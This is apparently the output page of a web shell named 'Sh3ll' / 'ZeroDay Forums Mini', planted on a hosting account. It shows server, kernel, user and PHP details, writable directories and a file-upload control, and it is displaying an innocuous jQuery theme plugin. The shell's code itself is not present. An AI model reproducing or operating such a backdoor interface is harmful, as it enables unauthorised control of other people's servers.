Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/claqxcrl/www/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/claqxcrl/www/js/matches_broadcast_listing.js
/**
 * This is jQuery plugin declaration for header html-component
 * @html: ./html-component/matches_broadcast_listing.html 
 * @deps: jQuery, bootstrap.js
 * @using: ./js/main.js
 * @author torbara  (https://themeforest.net/user/torbara)
 */

(function($){
    
    "use strict";
    
    $.fn.matchesBroadcastLisng = function () {
        
        var $listing = $(this);
        
        if ( $listing.length === 0 ) {
            throw new Error('matchesBroadcastLisng: target element not found');
        }
        
        $listing.find(".broadcast-item").on("show.bs.collapse hide.bs.collapse", function (e) {
            if (e.type == 'show') {
                $(this).addClass('active');
            } else {
                $(this).removeClass('active');
            }
        });
        
    };

})(jQuery);



ZeroDay Forums Mini